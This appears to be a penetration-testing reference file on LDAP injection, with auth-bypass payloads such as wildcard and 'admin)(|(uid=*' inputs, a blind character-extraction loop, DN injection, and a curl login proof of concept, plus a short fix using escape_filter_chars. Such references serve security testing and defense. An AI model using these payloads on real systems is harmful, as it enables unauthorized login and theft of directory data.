ldapi

# LDAP Injection LDAP filter syntax: `(attr=value)`, combined with `&` (and), `|` (or), `!` (not). User input concatenated into the filter string = injection. ## 1. Auth bypass ```python # Vulnerable code filter = f"(&(uid={user})(userPassword={pw}))" # Payload — comment-out rest of filter via wildcard user = "*" pw = "*" # → (&(uid=*)(userPassword=*)) → matches first user, often admin user = "admin)(|(uid=*" pw = "anything" # → (&(uid=admin)(|(uid=*))(userPassword=anything)) # → matches admin OR anyone (second clause), password check ignored ``` ## 2. Blind extraction ```python # Boolean-blind: probe each char via wildcard match for c in string.printable: payload = f"*)(uid=admin)(description={c}*)" if "found" in response: # next char is c ``` ## 3. DN injection ``` # If userdn is constructed from input DN = f"cn={user},ou=People,dc=corp,dc=local" # user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local # (or sometimes confuses the bind) ``` ## 4. Common vulnerable apps - Custom auth backends w/ python-ldap or ldap3 lib direct-format - Legacy Java apps w/ JNDI w/o escaping - DokuWiki / older intranets ## 5. Tools - Manual via Burp Repeater (most cases need careful crafting) - `ldapsearch` to verify directly once you have any cred - Burp Intruder w/ payloads from `_corpus/payloads/LDAP Injection/` ## 6. PoC ```bash curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug ``` ## 7. Severity | Bug | Severity | |---|---| | Auth bypass via wildcard | Critical 9.8 | | Blind extract of full LDAP directory | Critical 9.0 | | DN injection enabling group escalation | High 8.0 | ## 8. Defender ```python import ldap3 # Use parameterized search filters via library helpers from ldap3.utils.conv import escape_filter_chars safe_user = escape_filter_chars(user) conn.search('dc=corp,dc=local', f'(uid={safe_user})') ``` ## Cross-references - Upstream catalog: `skills/_corpus/payloads/LDAP Injection/` - AD attack patterns (different layer): `skills/ad/SKILL.md`